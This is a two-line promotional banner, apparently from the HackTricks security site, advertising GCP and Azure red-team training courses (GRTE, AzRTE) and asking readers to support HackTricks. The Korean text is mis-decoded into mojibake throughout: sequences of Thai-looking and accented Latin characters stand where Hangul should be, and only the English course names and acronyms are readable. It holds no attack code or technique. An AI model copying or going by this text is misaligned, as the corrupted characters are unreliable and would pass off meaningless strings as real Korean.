GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ